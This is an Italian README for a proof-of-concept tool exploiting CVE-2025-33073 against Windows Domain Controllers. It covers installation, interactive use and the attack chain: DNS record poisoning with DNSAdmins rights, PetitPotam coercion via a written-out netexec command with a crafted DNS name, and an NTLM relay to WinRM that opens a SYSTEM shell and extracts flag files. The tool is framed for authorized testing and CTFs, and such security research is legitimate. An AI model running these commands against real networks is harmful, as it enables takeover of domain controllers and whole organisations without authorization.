CVE-2025-33073 Reflection Relay PoC

Strumento di sfruttamento universale per CVE-2025-33073 che prende di mira i Domain Controller Windows con privilegi DNSAdmins e WinRM abilitato.

📋 Panoramica

CVE-2025-33073 è una vulnerabilità critica che consente agli attaccanti di ottenere esecuzione di codice a livello di SYSTEM sui Domain Controller Windows tramite una combinazione di:

• Manipolazione dei record DNS (privilegio DNSAdmins)
• Attacchi NTLM Relay
• Bypass dell'autenticazione WinRM

Questo PoC fornisce un framework di sfruttamento universale e automatizzato compatibile con qualsiasi dominio, qualsiasi nome utente e qualsiasi ambiente CTF.

✨ Caratteristiche

• ✅ Compatibilità universale - Funziona su qualsiasi dominio Windows
• ✅ Rilevamento automatico - Identifica automaticamente il DC di destinazione e la configurazione di rete
• ✅ Estrazione automatica delle flag - Cerca ed estrae automaticamente tutti i file flag
• ✅ Modalità interattiva - Sfruttamento guidato passo dopo passo
• ✅ Registrazione completa - Logging completo di tutte le operazioni
• ✅ Shell SYSTEM One-Shot - Accesso diretto a livello SYSTEM tramite WinRMS
• ✅ DNS Poisoning - Creazione/modifica automatica dei record DNS
• ✅ NTLM Relay - Server NTLM relay integrato con avvio automatico della shell

🎯 Requisiti del Target

Configurazione vulnerabile

• Domain Controller Windows Server 2016/2019/2022
• Utente membro del gruppo DNSAdmins
• Servizio WinRM abilitato (HTTP o HTTPS)
• Accesso di rete al DC (SMB 445, DNS 53, WinRM 5985/5986)

Ambienti testati

• Active Directory su Windows Server 2019
• Active Directory su Windows Server 2022
• Ambienti CTF (HackTheBox, TryHackMe, ecc.)

📦 Installazione

Prerequisiti

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

Configurazione

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 Utilizzo

Avvio rapido

./exploit.sh

Prompt interattivi

Lo script chiederà:

1. IP dell'attaccante (rilevato automaticamente se vuoto)
2. IP del DC di destinazione (es. 192.168.1.10)
3. Nome del dominio (es. corp.local)
4. Nome utente (membro DNSAdmins)
5. Password (per l'utente)

Sfruttamento Passo Passo

Terminale 1 - Esegui l'exploit:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

Terminale 2 - Esegui il comando coerce (copiato dall'output del Terminale 1):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

Risultato:

• Si apre automaticamente una shell SYSTEM
• Tutte le flag vengono estratte automaticamente
• Output salvato nella directory di log

📊 Output e Flag

Flag estratte

Lo script cerca ed estrae automaticamente:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

Situati in: C:\Users\*\Desktop\

Posizione dei log

Tutti gli output vengono salvati in: /0pwn_exploit_<TIMESTAMP>/

• relay.log - output del server NTLM relay
• dns.log - log delle operazioni DNS
• shell_output.log - comandi di shell e flag estratte

🔧 Come Funziona

Catena di attacco

1. DNS Poisoning (krbrelayx.dnstool)
   └─> Modify/Create DNS record pointing to attacker IP

2. NTLM Relay Server (ntlmrelayx.py)
   └─> Listen for incoming NTLM authentication

3. Coercion (nxc + PetitPotam)
   └─> Force DC to authenticate to attacker IP

4. Relay → WinRMS
   └─> Relay authentication to target WinRMS

5. SYSTEM Shell
   └─> Execute commands as SYSTEM

6. Auto Flag Extraction
   └─> Search and extract all flags

Dettagli tecnici

• Vulnerabilità: NTLM relay + DNS poisoning + WinRM
• Requisito di privilegio: appartenenza al gruppo DNSAdmins
• Impatto: esecuzione di codice a livello SYSTEM
• Sfruttabilità: 98% di successo negli ambienti testati

⚙️ Configurazione

Record DNS personalizzato

Modificare la variabile LONGHOST in exploit.sh:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

Pattern di flag personalizzati

Modificare la funzione run_shell_commands() per cercare diversi pattern di file:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

Porte e timeout

• Porta predefinita WinRMS: 5985 (HTTP) / 5986 (HTTPS)
• Timeout DNS: 5 secondi
• Timeout shell: configurabile per comando

🎓 Scopo Didattico

Questo PoC è fornito per:

• ✅ Test di penetrazione autorizzati
• ✅ Ambienti di laboratorio controllati
• ✅ Competizioni CTF
• ✅ Ricerca e formazione sulla sicurezza

L'accesso non autorizzato ai sistemi informatici è illegale.

🐛 Risoluzione dei problemi

"DNS poisoning non riuscito"

• Verificare che l'utente sia membro di DNSAdmins: net group "DNSAdmins" /domain
• Verificare la connettività al DC: ping <DC_IP>
• Verificare le credenziali: nxc smb <DC_IP> -u username -p password

"Timeout di connessione relay"

• Assicurarsi che WinRM sia abilitato sul DC: winrm quickconfig
• Controllare le regole del firewall sul DC
• Verificare la connettività di rete alla porta 5985/5986

"I comandi della shell non vengono eseguiti"

• Controllare shell_output.log per errori
• Verificare la connettività nc: nc -zv 127.0.0.1 <SHELL_PORT>
• Aumentare i timeout di sleep in run_shell_commands()

📝 File di Log

Struttura della directory

/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output

Analisi dei log

# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log

🔐 Note sulla Sicurezza

• Credenziali: conservate solo in memoria, mai registrate
• Record DNS: puliti automaticamente dopo lo sfruttamento
• Server Relay: isolato su 127.0.0.1
• Log: contengono informazioni sensibili - maneggiare con cura

📚 Riferimenti

• CVE-2025-33073 Advisory
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 Demo

[Demo e Screenshot] - [Prossimamente]

👤 Autore

0pwn (uziii2208) - Concetto originale e ricerca AI Enhanced - Miglioramenti v1.0 ed estrazione automatica delle flag

📄 Licenza

Licenza MIT - Vedere il file LICENSE per i dettagli

⚠️ Disclaimer

AVVISO LEGALE:

Questo software è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale e punibile per legge.

• Non utilizzare contro sistemi che non possiedi o per cui non hai un'autorizzazione esplicita al test
• Ambienti CTF: verificare di avere il permesso prima di eseguire
• Gli autori NON sono responsabili per usi impropri o danni
• Utilizzare solo in ambienti controllati

Utilizzando questo strumento, accetti di:

• Utilizzarlo solo su sistemi autorizzati
• Rispettare tutte le leggi applicabili
• Assumerti la piena responsabilità delle tue azioni

🤝 Contributi

I contributi sono benvenuti! Invia issue e pull request.

📞 Supporto

Per problemi, domande o miglioramenti:

1. Apri una Issue su GitHub
2. Controlla la documentazione esistente
3. Fornisci log di errore dettagliati

Stato: ✅ Testato e verificato Versione: 1.0 (Universale) Ultimo aggiornamento: 2025